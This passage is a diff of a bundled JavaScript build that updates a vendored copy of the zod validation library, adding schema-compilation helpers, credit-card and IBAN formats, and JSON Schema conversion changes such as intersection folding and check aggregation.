inner._zod.run({ value: input, issues: [] }, {});`); + d2.write(`return result.issues.length === 0 ? result.value : INVALID;`); + }); + d.write(`};`); + }); + doc.write(`}`); + const outputVar = newVar(ctx); + doc.write(`const ${outputVar} = ${cacheConst}.parser(${accessor});`); + doc.write(`if (${outputVar} === INVALID) return INVALID;`); + return outputVar; +} +function generatePipeCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const inputOutput = generateCheck(doc, ctx, def.in, accessor); + if (def.transform) { + if (isAsyncFunction(def.transform)) { + throw new ZodCompileAsyncError("z.compile: async transforms in pipes are not supported"); + } + const transformFn = def.transform; + const helperFn = (value) => { + const fakePayload = { value, issues: [], addIssue: pushIssue }; + const result = transformFn(value, fakePayload); + if (result instanceof Promise) + return INVALID; + return fakePayload.issues.length === 0 ? result : INVALID; + }; + const helperConst = addUserConstant(ctx, helperFn); + const transformedVar = newVar(ctx); + doc.write(`const ${transformedVar} = ${helperConst}(${inputOutput});`); + doc.write(`if (${transformedVar} === INVALID) return INVALID;`); + return generateCheck(doc, ctx, def.out, transformedVar); + } else { + return generateCheck(doc, ctx, def.out, inputOutput); + } +} +function isAsyncFunction(fn) { + return typeof fn === "function" && (fn.constructor.name === "AsyncFunction" || fn[Symbol.toStringTag] === "AsyncFunction"); +} +function generateCustomCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + if (def.fn) { + if (isAsyncFunction(def.fn)) { + throw new ZodCompileAsyncError("z.compile: async custom predicates are not supported"); + } + const fnConst = addUserConstant(ctx, def.fn); + const throwAsyncConst = addConstant(ctx, throwAsync); + const resVar = newVar(ctx); + doc.write(`const ${resVar} = ${fnConst}(${accessor});`); + doc.write(`if (${resVar} instanceof Promise) ${throwAsyncConst}();`); + doc.write(`if (!${resVar}) return INVALID;`); + } else { + throw new ZodCompileUnsupportedError("custom schema without a predicate function"); + } + return accessor; +} +function runtimeCatch(innerSchema, catchValue, value) { + const result = innerSchema._zod.run({ value, issues: [] }, {}); + if (result && typeof result.then === "function") + return INVALID; + const r = result; + if (r.issues.length === 0) + return r.value; + return catchValue(); +} +function generateCatchCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + if (!def.catchValue[CONSTANT_CATCH]) { + throw new ZodCompileUnsupportedError("catch with a callback (only a constant catch value compiles)", false); + } + const outputVar = newVar(ctx); + doc.write(`let ${outputVar} = (() => {`); + doc.indented((d) => { + const innerOut = compileChild(d, ctx, def.innerType, accessor); + d.write(`return ${innerOut};`); + }); + doc.write(`})();`); + const innerConst = addConstant(ctx, def.innerType); + const catchConst = addUserConstant(ctx, def.catchValue); + const catchHelperConst = addConstant(ctx, runtimeCatch); + doc.write(`if (${outputVar} === INVALID) {`); + doc.indented((d) => { + d.write(`${outputVar} = ${catchHelperConst}(${innerConst}, ${catchConst}, ${accessor});`); + d.write(`if (${outputVar} === INVALID) return INVALID;`); + }); + doc.write(`}`); + return outputVar; +} +function generateTransformCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + if (def.transform) { + if (isAsyncFunction(def.transform)) { + throw new ZodCompileAsyncError("z.compile: async transforms are not supported"); + } + const transformFn = def.transform; + const helperFn = (value) => { + const fakePayload = { value, issues: [], addIssue: pushIssue }; + const result = transformFn(value, fakePayload); + if (result instanceof Promise) + return INVALID; + return fakePayload.issues.length === 0 ? result : INVALID; + }; + const helperConst = addUserConstant(ctx, helperFn); + const outputVar = newVar(ctx); + doc.write(`const ${outputVar} = ${helperConst}(${accessor});`); + doc.write(`if (${outputVar} === INVALID) return INVALID;`); + return outputVar; + } + return accessor; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/api.js +function snapshotChecks(def) { + if (def.checks) + def.checks = [...def.checks]; + return def; +} // @__NO_SIDE_EFFECTS__ function _string(Class2, params) { - return new Class2({ - type: "string", - ...normalizeParams(params) - }); + return new Class2(snapshotChecks({ type: "string", ...normalizeParams(params) })); } // @__NO_SIDE_EFFECTS__ function _coercedString(Class2, params) { - return new Class2({ - type: "string", - coerce: true, - ...normalizeParams(params) - }); + return new Class2(snapshotChecks({ type: "string", coerce: true, ...normalizeParams(params) })); } // @__NO_SIDE_EFFECTS__ function _email(Class2, params) { @@ -65330,6 +69505,26 @@ function _e164(Class2, params) { }); } // @__NO_SIDE_EFFECTS__ +function _creditCard(Class2, params) { + return new Class2({ + type: "string", + format: "credit_card", + check: "string_format", + abort: false, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _iban(Class2, params) { + return new Class2({ + type: "string", + format: "iban", + check: "string_format", + abort: false, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ function _jwt(Class2, params) { return new Class2({ type: "string", @@ -65388,20 +69583,11 @@ function _isoDuration(Class2, params) { } // @__NO_SIDE_EFFECTS__ function _number(Class2, params) { - return new Class2({ - type: "number", - checks: [], - ...normalizeParams(params) - }); + return new Class2(snapshotChecks({ type: "number", checks: [], ...normalizeParams(params) })); } // @__NO_SIDE_EFFECTS__ function _coercedNumber(Class2, params) { - return new Class2({ - type: "number", - coerce: true, - checks: [], - ...normalizeParams(params) - }); + return new Class2(snapshotChecks({ type: "number", coerce: true, checks: [], ...normalizeParams(params) })); } // @__NO_SIDE_EFFECTS__ function _int(Class2, params) { @@ -65743,6 +69929,14 @@ function _property(property, schema, params) { }); } // @__NO_SIDE_EFFECTS__ +function _properties(shape, params) { + return new $ZodCheckProperties({ + check: "properties", + shape, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ function _mime(types2, params) { return new $ZodCheckMimeType({ check: "mime_type", @@ -65759,23 +69953,23 @@ function _overwrite(tx) { } // @__NO_SIDE_EFFECTS__ function _normalize(form) { - return /* @__PURE__ */ _overwrite((input) => input.normalize(form)); + return /* @__PURE__ */ _overwrite((input2) => input2.normalize(form)); } // @__NO_SIDE_EFFECTS__ function _trim() { - return /* @__PURE__ */ _overwrite((input) => input.trim()); + return /* @__PURE__ */ _overwrite((input2) => input2.trim()); } // @__NO_SIDE_EFFECTS__ function _toLowerCase() { - return /* @__PURE__ */ _overwrite((input) => input.toLowerCase()); + return /* @__PURE__ */ _overwrite((input2) => input2.toLowerCase()); } // @__NO_SIDE_EFFECTS__ function _toUpperCase() { - return /* @__PURE__ */ _overwrite((input) => input.toUpperCase()); + return /* @__PURE__ */ _overwrite((input2) => input2.toUpperCase()); } // @__NO_SIDE_EFFECTS__ function _slugify() { - return /* @__PURE__ */ _overwrite((input) => slugify(input)); + return /* @__PURE__ */ _overwrite((input2) => slugify(input2)); } // @__NO_SIDE_EFFECTS__ function _array(Class2, element, params) { @@ -65942,7 +70136,7 @@ function _catch(Class2, innerType, catchValue) { return new Class2({ type: "catch", innerType, - catchValue: typeof catchValue === "function" ? catchValue : () => catchValue + catchValue: typeof catchValue === "function" ? catchValue : constantCatch(catchValue) }); } // @__NO_SIDE_EFFECTS__ @@ -66015,7 +70209,8 @@ function _superRefine(fn, params) { if (_issue.fatal) _issue.continue = false; _issue.code ?? (_issue.code = "custom"); - _issue.input ?? (_issue.input = payload.value); + if (!("input" in _issue)) + _issue.input = payload.value; _issue.inst ?? (_issue.inst = ch); _issue.continue ?? (_issue.continue = !ch._zod.def.abort); payload.issues.push(issue(_issue)); @@ -66080,8 +70275,8 @@ function _stringbool(Classes, _params) { type: "pipe", in: stringSchema, out: booleanSchema, - transform: (input, payload) => { - let data = input; + transform: (input2, payload) => { + let data = input2; if (params.case !== "sensitive") data = data.toLowerCase(); if (truthySet.has(data)) { @@ -66100,8 +70295,8 @@ function _stringbool(Classes, _params) { return {}; } }, - reverseTransform: (input, _payload) => { - if (input === true) { + reverseTransform: (input2, _payload) => { + if (input2 === true) { return truthyArray[0] || "true"; } else { return falsyArray[0] || "false"; @@ -66109,13 +70304,15 @@ function _stringbool(Classes, _params) { }, error: params.error }); + codec2._zod.bag.truthy = truthyArray; + codec2._zod.bag.falsy = falsyArray; + codec2._zod.bag.case = params.case ?? "insensitive"; return codec2; } // @__NO_SIDE_EFFECTS__ function _stringFormat(Class2, format, fnOrRegex, _params = {}) { const params = normalizeParams(_params); const def = { - ...normalizeParams(_params), check: "string_format", type: "string", format, @@ -66129,7 +70326,17 @@ function _stringFormat(Class2, format, fnOrRegex, _params = {}) { return inst; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/to-json-schema.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/to-json-schema.js +function assignProps(target, ...sources) { + for (const source of sources) { + for (const key of Reflect.ownKeys(source)) { + if (Object.prototype.propertyIsEnumerable.call(source, key)) { + assignProp(target, key, source[key]); + } + } + } + return target; +} function initializeContext(params) { let target = params?.target ?? "draft-2020-12"; if (target === "draft-4") @@ -66146,12 +70353,25 @@ function initializeContext(params) { io: params?.io ?? "output", counter: 0, seen: /* @__PURE__ */ new Map(), + sharedDefsExtractedFor: void 0, + sharedEmitDoneFor: void 0, cycles: params?.cycles ?? "ref", reused: params?.reused ?? "inline", + intersections: [], + deferred: [], external: params?.external ?? void 0 }; } -function process2(schema, ctx, _params = { path: [], schemaPath: [] }) { +function handleUnrepresentable(schema, ctx, json3, params, message2) { + const result = typeof ctx.unrepresentable === "function" ? ctx.unrepresentable({ zodSchema: schema, path: params.path, message: message2 }) : ctx.unrepresentable; + if (result === "any") + return false; + if (result === void 0 || result === "throw") + throw new Error(message2); + Object.assign(json3, result); + return true; +} +function processSchema(schema, ctx, _params = { path: [], schemaPath: [] }) { var _a3; const def = schema._zod.def; const seen = ctx.seen.get(schema); @@ -66165,6 +70385,8 @@ function process2(schema, ctx, _params = { path: [], schemaPath: [] }) { } const result = { schema: {}, count: 1, cycle: void 0, path: _params.path }; ctx.seen.set(schema, result); + ctx.sharedDefsExtractedFor = void 0; + ctx.sharedEmitDoneFor = void 0; const overrideSchema = schema._zod.toJSONSchema?.(); if (overrideSchema) { result.schema = overrideSchema; @@ -66188,13 +70410,13 @@ function process2(schema, ctx, _params = { path: [], schemaPath: [] }) { if (parent) { if (!result.ref) result.ref = parent; - process2(parent, ctx, params); + processSchema(parent, ctx, params); ctx.seen.get(parent).isParent = true; } } const meta3 = ctx.metadataRegistry.get(schema); if (meta3) - Object.assign(result.schema, meta3); + assignProps(result.schema, meta3); if (ctx.io === "input" && isTransforming(schema)) { delete result.schema.examples; delete result.schema.default; @@ -66205,10 +70427,15 @@ function process2(schema, ctx, _params = { path: [], schemaPath: [] }) { const _result = ctx.seen.get(schema); return _result.schema; } +function encodeJSONPointerSegment(segment) { + return segment.replace(/~/g, "~0").replace(/\//g, "~1"); +} function extractDefs(ctx, schema) { const root = ctx.seen.get(schema); if (!root) throw new Error("Unprocessed schema. This is a bug in Zod."); + if (ctx.external && ctx.sharedDefsExtractedFor === ctx.external) + return; const idToSchema = /* @__PURE__ */ new Map(); for (const entry of ctx.seen.entries()) { const id = ctx.metadataRegistry.get(entry[0])?.id; @@ -66230,15 +70457,15 @@ function extractDefs(ctx, schema) { } const id = entry[1].defId ?? entry[1].schema.id ?? `schema${ctx.counter++}`; entry[1].defId = id; - return { defId: id, ref: `${uriGenerator("__shared")}#/${defsSegment}/${id}` }; - } - if (entry[1] === root) { - return { ref: "#" }; + return { defId: id, ref: `${uriGenerator("__shared")}#/${defsSegment}/${encodeJSONPointerSegment(id)}` }; } const uriPrefix = `#`; const defUriPrefix = `${uriPrefix}/${defsSegment}/`; + if (entry[1] === root && !entry[1].schema.id) { + return { ref: uriPrefix }; + } const defId = entry[1].schema.id ?? `__schema${ctx.counter++}`; - return { defId, ref: defUriPrefix + defId }; + return { defId, ref: defUriPrefix + encodeJSONPointerSegment(defId) }; }; const extractToDef = (entry) => { if (entry[1].schema.$ref) { @@ -66290,10 +70517,119 @@ Set the \`cycles\` parameter to \`"ref"\` to resolve cyclical schemas with defs. if (seen.count > 1) { if (ctx.reused === "ref") { extractToDef(entry); + } + } + } + if (ctx.external) + ctx.sharedDefsExtractedFor = ctx.external; +} +function compactTypeUnion(schema) { + const options = schema.anyOf; + if (!Array.isArray(options) || options.length === 0 || schema.type !== void 0) + return; + const types2 = []; + for (const option of options) { + if (!option || typeof option !== "object") + return; + compactTypeUnion(option); + const keys = Object.keys(option); + if (keys.length !== 1 || keys[0] !== "type") + return; + const type = option.type; + for (const member of Array.isArray(type) ? type : [type]) { + if (typeof member !== "string") + return; + if (!types2.includes(member)) + types2.push(member); + } + } + delete schema.anyOf; + schema.type = types2.length === 1 ? types2[0] : types2; +} +var FOLDABLE_KEYS = /* @__PURE__ */ new Set(["type", "properties", "required", "additionalProperties"]); +var UNION_KEYS = ["oneOf", "anyOf"]; +function undeclaredConstraint(member) { + const extra = member.additionalProperties; + if (extra === void 0 || extra === false || typeof extra !== "object" || extra === null) + return null; + return Object.keys(extra).length ? extra : null; +} +function foldObjects(members2) { + const objects = []; + for (const member of members2) { + if (typeof member !== "object" || member.type !== "object") + return null; + for (const key in member) { + if (!FOLDABLE_KEYS.has(key)) + return null; + } + objects.push(member); + } + const properties = {}; + const required2 = /* @__PURE__ */ new Set(); + for (const object2 of objects) { + for (const key in object2.properties) { + if (Object.prototype.hasOwnProperty.call(properties, key)) continue; + const parts = []; + for (const other of objects) { + const part = other.properties?.[key] ?? undeclaredConstraint(other); + if (part === null || part === void 0) + continue; + if (!parts.some((seen) => JSON.stringify(seen) === JSON.stringify(part))) + parts.push(part); } + const merged = parts.length === 1 ? parts[0] : foldObjects(parts) ?? { allOf: parts }; + assignProp(properties, key, merged); } + for (const key of object2.required ?? []) + required2.add(key); } + const folded = { type: "object", properties }; + if (required2.size) + folded.required = [...required2]; + if (objects.every((object2) => object2.additionalProperties === false)) { + folded.additionalProperties = false; + } else { + const constraints = []; + for (const object2 of objects) { + const constraint = undeclaredConstraint(object2); + if (constraint && !constraints.some((seen) => JSON.stringify(seen) === JSON.stringify(constraint))) + constraints.push(constraint); + } + if (constraints.length === 1) + folded.additionalProperties = constraints[0]; + else if (constraints.length > 1) + folded.additionalProperties = { allOf: constraints }; + } + return folded; +} +function foldIntersection(json3) { + const allOf = json3.allOf; + if (!Array.isArray(allOf) || allOf.length < 2) + return; + for (const key of FOLDABLE_KEYS) + if (key in json3) + return; + const unions = allOf.filter((m) => UNION_KEYS.some((k) => Array.isArray(m[k]))); + let folded = null; + if (!unions.length) { + folded = foldObjects(allOf); + } else { + const union3 = unions[0]; + const keyword = UNION_KEYS.find((k) => Array.isArray(union3[k])); + if (Object.keys(union3).length !== 1) + return; + const rest = allOf.filter((m) => m !== union3); + const branches = union3[keyword].map((branch) => foldObjects([...rest, branch])); + if (branches.some((b2) => !b2)) + return; + folded = { [keyword]: branches }; + } + if (!folded) + return; + delete json3.allOf; + assignProps(json3, folded); } function finalize(ctx, schema) { const root = ctx.seen.get(schema); @@ -66315,9 +70651,9 @@ function finalize(ctx, schema) { schema2.allOf = schema2.allOf ?? []; schema2.allOf.push(refSchema); } else { - Object.assign(schema2, refSchema); + assignProps(schema2, refSchema); } - Object.assign(schema2, _cached); + assignProps(schema2, _cached); const isParentRef = zodSchema._zod.parent === ref; if (isParentRef) { for (const key in schema2) { @@ -66361,8 +70697,36 @@ function finalize(ctx, schema) { path: seen.path ?? [] }); }; - for (const entry of [...ctx.seen.entries()].reverse()) { - flattenRef(entry[0]); + if (!ctx.external || ctx.sharedEmitDoneFor !== ctx.external) { + for (const entry of [...ctx.seen.entries()].reverse()) { + flattenRef(entry[0]); + } + if (ctx.target !== "openapi-3.0") { + for (const entry of ctx.seen.entries()) { + compactTypeUnion(entry[1].def ?? entry[1].schema); + } + } + for (const rewrite of ctx.deferred) + rewrite(); + if (ctx.intersections.length) { + const carriers = /* @__PURE__ */ new Map(); + for (const seen of ctx.seen.values()) { + for (const json3 of [seen.schema, seen.def]) { + const allOf = json3?.allOf; + if (!Array.isArray(allOf)) + continue; + const existing = carriers.get(allOf); + if (existing) + existing.push(json3); + else + carriers.set(allOf, [json3]); + } + } + for (const allOf of ctx.intersections) { + for (const json3 of carriers.get(allOf) ?? []) + foldIntersection(json3); + } + } } const result = {}; if (ctx.target === "draft-2020-12") { @@ -66380,19 +70744,23 @@ function finalize(ctx, schema) { throw new Error("Schema is missing an `id` property"); result.$id = ctx.external.uri(id); } - Object.assign(result, root.def ?? root.schema); + assignProps(result, root.defId ? root.schema : root.def ?? root.schema); const rootMetaId = ctx.metadataRegistry.get(schema)?.id; if (rootMetaId !== void 0 && result.id === rootMetaId) delete result.id; const defs = ctx.external?.defs ?? {}; - for (const entry of ctx.seen.entries()) { - const seen = entry[1]; - if (seen.def && seen.defId) { - if (seen.def.id === seen.defId) - delete seen.def.id; - defs[seen.defId] = seen.def; + if (!ctx.external || ctx.sharedEmitDoneFor !== ctx.external) { + for (const entry of ctx.seen.entries()) { + const seen = entry[1]; + if (seen.def && seen.defId) { + if (seen.def.id === seen.defId) + delete seen.def.id; + assignProp(defs, seen.defId, seen.def); + } } } + if (ctx.external) + ctx.sharedEmitDoneFor = ctx.external; if (ctx.external) { } else { if (Object.keys(defs).length > 0) { @@ -66435,7 +70803,7 @@ function isTransforming(_schema, _ctx) { return isTransforming(def.valueType, ctx); if (def.type === "lazy") return isTransforming(def.getter(), ctx); - if (def.type === "promise" || def.type === "optional" || def.type === "nonoptional" || def.type === "nullable" || def.type === "readonly" || def.type === "default" || def.type === "prefault") { + if (def.type === "promise" || def.type === "optional" || def.type === "nonoptional" || def.type === "nullable" || def.type === "readonly" || def.type === "default" || def.type === "prefault" || def.type === "catch") { return isTransforming(def.innerType, ctx); } if (def.type === "intersection") { @@ -66476,19 +70844,107 @@ function isTransforming(_schema, _ctx) { } var createToJSONSchemaMethod = (schema, processors = {}) => (params) => { const ctx = initializeContext({ ...params, processors }); - process2(schema, ctx); + processSchema(schema, ctx); extractDefs(ctx, schema); return finalize(ctx, schema); }; var createStandardJSONSchemaMethod = (schema, io, processors = {}) => (params) => { const { libraryOptions, target } = params ?? {}; const ctx = initializeContext({ ...libraryOptions ?? {}, target, io, processors }); - process2(schema, ctx); + processSchema(schema, ctx); extractDefs(ctx, schema); return finalize(ctx, schema); }; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/json-schema-processors.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/json-schema-processors.js +var narrowMin = (agg, key, value) => { + if (agg[key] === void 0 || value > agg[key]) + agg[key] = value; +}; +var narrowMax = (agg, key, value) => { + if (agg[key] === void 0 || value < agg[key]) + agg[key] = value; +}; +var narrowBoth = (agg, value) => { + narrowMin(agg, "minimum", value); + narrowMax(agg, "maximum", value); +}; +var addDivisor = (agg, value) => { + agg.multipleOf ?? (agg.multipleOf = []); + if (!agg.multipleOf.includes(value)) + agg.multipleOf.push(value); +}; +var addPattern = (agg, pattern) => { + agg.patterns ?? (agg.patterns = /* @__PURE__ */ new Set()); + agg.patterns.add(pattern); +}; +var intersectMime = (agg, mime) => { + agg.mime = agg.mime ? agg.mime.filter((m) => mime.includes(m)) : [...mime]; +}; +var setFormat = (agg, format) => { + agg.format = format; + if (format.includes("int")) + agg.isInt = true; +}; +var minContributor = (agg, def) => narrowMin(agg, "minimum", def.minimum); +var maxContributor = (agg, def) => narrowMax(agg, "maximum", def.maximum); +var formatContributor = (ranges) => (agg, def) => { + setFormat(agg, def.format); + const [minimum, maximum] = ranges[def.format]; + narrowMin(agg, "minimum", minimum); + narrowMax(agg, "maximum", maximum); +}; +var contributors = { + greater_than: (agg, def) => narrowMin(agg, def.inclusive ? "minimum" : "exclusiveMinimum", def.value), + less_than: (agg, def) => narrowMax(agg, def.inclusive ? "maximum" : "exclusiveMaximum", def.value), + multiple_of: (agg, def) => addDivisor(agg, def.value), + number_format: formatContributor(NUMBER_FORMAT_RANGES), + bigint_format: formatContributor(BIGINT_FORMAT_RANGES), + min_length: minContributor, + max_length: maxContributor, + length_equals: (agg, def) => narrowBoth(agg, def.length), + min_size: minContributor, + max_size: maxContributor, + size_equals: (agg, def) => narrowBoth(agg, def.size), + string_format: (agg, def) => { + setFormat(agg, def.format); + if (def.pattern) + addPattern(agg, def.pattern); + if (def.format === "base64" || def.format === "base64url") + agg.contentEncoding = def.format; + if (def.local || def.precision === -1) + agg.laxFormat = true; + }, + mime_type: (agg, def) => intersectMime(agg, def.mime) +}; +function aggregateChecks(schema) { + const agg = {}; + const def = schema._zod.def; + const list = schema._zod.traits.has("$ZodCheck") ? [schema, ...def.checks ?? []] : def.checks ?? []; + for (const ch of list) + contributors[ch._zod.def.check]?.(agg, ch._zod.def); + const bag = schema._zod.bag; + if (bag.minimum !== void 0) + narrowMin(agg, "minimum", bag.minimum); + if (bag.exclusiveMinimum !== void 0) + narrowMin(agg, "exclusiveMinimum", bag.exclusiveMinimum); + if (bag.maximum !== void 0) + narrowMax(agg, "maximum", bag.maximum); + if (bag.exclusiveMaximum !== void 0) + narrowMax(agg, "exclusiveMaximum", bag.exclusiveMaximum); + if (bag.multipleOf !== void 0) + addDivisor(agg, bag.multipleOf); + if (bag.format !== void 0) { + agg.format ?? (agg.format = bag.format); + if (bag.format.includes("int")) + agg.isInt = true; + } + if (bag.mime) + intersectMime(agg, bag.mime); + for (const pattern of bag.patterns ?? []) + addPattern(agg, pattern); + return agg; +} var formatMap = { guid: "uuid", url: "uri", @@ -66497,10 +70953,15 @@ var formatMap = { regex: "" // do not set }; +var exactPatterns = /* @__PURE__ */ new Map([ + [base64Charset, base64], + [base64urlCharset, base64url] +]); +var exactPattern = (p) => exactPatterns.get(p) ?? p; var stringProcessor = (schema, ctx, _json, _params) => { const json3 = _json; json3.type = "string"; - const { minimum, maximum, format, patterns, contentEncoding } = schema._zod.bag; + const { minimum, maximum, format, patterns, contentEncoding, laxFormat } = aggregateChecks(schema); if (typeof minimum === "number") json3.minLength = minimum; if (typeof maximum === "number") @@ -66509,19 +70970,19 @@ var stringProcessor = (schema, ctx, _json, _params) => { json3.format = formatMap[format] ?? format; if (json3.format === "") delete json3.format; - if (format === "time") { + if (format === "time" || laxFormat) { delete json3.format; } } if (contentEncoding) json3.contentEncoding = contentEncoding; if (patterns && patterns.size > 0) { - const regexes = [...patterns]; - if (regexes.length === 1) - json3.pattern = regexes[0].source; - else if (regexes.length > 1) { + const patternList = [...patterns].map(exactPattern); + if (patternList.length === 1) + json3.pattern = patternList[0].source; + else if (patternList.length > 1) { json3.allOf = [ - ...regexes.map((regex) => ({ + ...patternList.map((regex) => ({ ...ctx.target === "draft-07" || ctx.target === "draft-04" || ctx.target === "openapi-3.0" ? { type: "string" } : {}, pattern: regex.source })) @@ -66529,13 +70990,10 @@ var stringProcessor = (schema, ctx, _json, _params) => { } } }; -var numberProcessor = (schema, ctx, _json, _params) => { +var numberProcessor = (schema, ctx, _json, params) => { const json3 = _json; - const { minimum, maximum, format, multipleOf, exclusiveMaximum, exclusiveMinimum } = schema._zod.bag; - if (typeof format === "string" && format.includes("int")) - json3.type = "integer"; - else - json3.type = "number"; + const { minimum, maximum, multipleOf, exclusiveMaximum, exclusiveMinimum, isInt } = aggregateChecks(schema); + json3.type = isInt ? "integer" : "number"; const exMin = typeof exclusiveMinimum === "number" && exclusiveMinimum >= (minimum ?? Number.NEGATIVE_INFINITY); const exMax = typeof exclusiveMaximum === "number" && exclusiveMaximum <= (maximum ?? Number.POSITIVE_INFINITY); const legacy = ctx.target === "draft-04" || ctx.target === "openapi-3.0"; @@ -66559,21 +71017,29 @@ var numberProcessor = (schema, ctx, _json, _params) => { } else if (typeof maximum === "number") { json3.maximum = maximum; } - if (typeof multipleOf === "number") - json3.multipleOf = multipleOf; + if (multipleOf) { + const divisors = /* @__PURE__ */ new Set(); + for (const divisor of multipleOf) { + if (Number.isFinite(divisor) && divisor !== 0) + divisors.add(Math.abs(divisor)); + else + handleUnrepresentable(schema, ctx, json3, params, `A multipleOf divisor of ${divisor} cannot be represented in JSON Schema`); + } + const [first, ...rest] = divisors; + if (first !== void 0) + json3.multipleOf = first; + if (rest.length) + json3.allOf = [...json3.allOf ?? [], ...rest.map((m) => ({ multipleOf: m }))]; + } }; var booleanProcessor = (_schema, _ctx, json3, _params) => { json3.type = "boolean"; }; -var bigintProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("BigInt cannot be represented in JSON Schema"); - } +var bigintProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "BigInt cannot be represented in JSON Schema"); }; -var symbolProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Symbols cannot be represented in JSON Schema"); - } +var symbolProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Symbols cannot be represented in JSON Schema"); }; var nullProcessor = (_schema, ctx, json3, _params) => { if (ctx.target === "openapi-3.0") { @@ -66584,15 +71050,11 @@ var nullProcessor = (_schema, ctx, json3, _params) => { json3.type = "null"; } }; -var undefinedProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Undefined cannot be represented in JSON Schema"); - } +var undefinedProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Undefined cannot be represented in JSON Schema"); }; -var voidProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Void cannot be represented in JSON Schema"); - } +var voidProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Void cannot be represented in JSON Schema"); }; var neverProcessor = (_schema, _ctx, json3, _params) => { json3.not = {}; @@ -66601,35 +71063,37 @@ var anyProcessor = (_schema, _ctx, _json, _params) => { }; var unknownProcessor = (_schema, _ctx, _json, _params) => { }; -var dateProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Date cannot be represented in JSON Schema"); - } +var dateProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Date cannot be represented in JSON Schema"); }; var enumProcessor = (schema, _ctx, json3, _params) => { const def = schema._zod.def; const values2 = getEnumValues(def.entries); + if (values2.length === 0) { + json3.not = {}; + return; + } if (values2.every((v) => typeof v === "number")) json3.type = "number"; if (values2.every((v) => typeof v === "string")) json3.type = "string"; json3.enum = values2; }; -var literalProcessor = (schema, ctx, json3, _params) => { +var literalProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; + if (def.values.length === 0) { + json3.not = {}; + return; + } const vals = []; for (const val of def.values) { if (val === void 0) { - if (ctx.unrepresentable === "throw") { - throw new Error("Literal `undefined` cannot be represented in JSON Schema"); - } else { - } + if (handleUnrepresentable(schema, ctx, json3, params, "Literal `undefined` cannot be represented in JSON Schema")) + return; } else if (typeof val === "bigint") { - if (ctx.unrepresentable === "throw") { - throw new Error("BigInt literals cannot be represented in JSON Schema"); - } else { - vals.push(Number(val)); - } + if (handleUnrepresentable(schema, ctx, json3, params, "BigInt literals cannot be represented in JSON Schema")) + return; + vals.push(Number(val)); } else { vals.push(val); } @@ -66655,10 +71119,8 @@ var literalProcessor = (schema, ctx, json3, _params) => { json3.enum = vals; } }; -var nanProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("NaN cannot be represented in JSON Schema"); - } +var nanProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "NaN cannot be represented in JSON Schema"); }; var templateLiteralProcessor = (schema, _ctx, json3, _params) => { const _json = json3; @@ -66670,93 +71132,90 @@ var templateLiteralProcessor = (schema, _ctx, json3, _params) => { }; var fileProcessor = (schema, _ctx, json3, _params) => { const _json = json3; - const file2 = { - type: "string", - format: "binary", - contentEncoding: "binary" - }; - const { minimum, maximum, mime } = schema._zod.bag; + _json.type = "string"; + _json.format = "binary"; + _json.contentEncoding = "binary"; + const { minimum, maximum, mime } = aggregateChecks(schema); if (minimum !== void 0) - file2.minLength = minimum; + _json.minLength = minimum; if (maximum !== void 0) - file2.maxLength = maximum; - if (mime) { - if (mime.length === 1) { - file2.contentMediaType = mime[0]; - Object.assign(_json, file2); - } else { - Object.assign(_json, file2); - _json.anyOf = mime.map((m) => ({ contentMediaType: m })); - } - } else { - Object.assign(_json, file2); - } + _json.maxLength = maximum; + if (!mime) + return; + if (mime.length === 0) + _json.not = {}; + else if (mime.length === 1) + _json.contentMediaType = mime[0]; + else + _json.anyOf = mime.map((m) => ({ contentMediaType: m })); }; var successProcessor = (_schema, _ctx, json3, _params) => { json3.type = "boolean"; }; -var customProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Custom types cannot be represented in JSON Schema"); - } +var customProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Custom types cannot be represented in JSON Schema"); }; -var functionProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Function types cannot be represented in JSON Schema"); - } +var functionProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Function types cannot be represented in JSON Schema"); }; -var transformProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Transforms cannot be represented in JSON Schema"); - } +var transformProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Transforms cannot be represented in JSON Schema"); }; -var mapProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Map cannot be represented in JSON Schema"); - } +var mapProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Map cannot be represented in JSON Schema"); }; -var setProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Set cannot be represented in JSON Schema"); - } +var 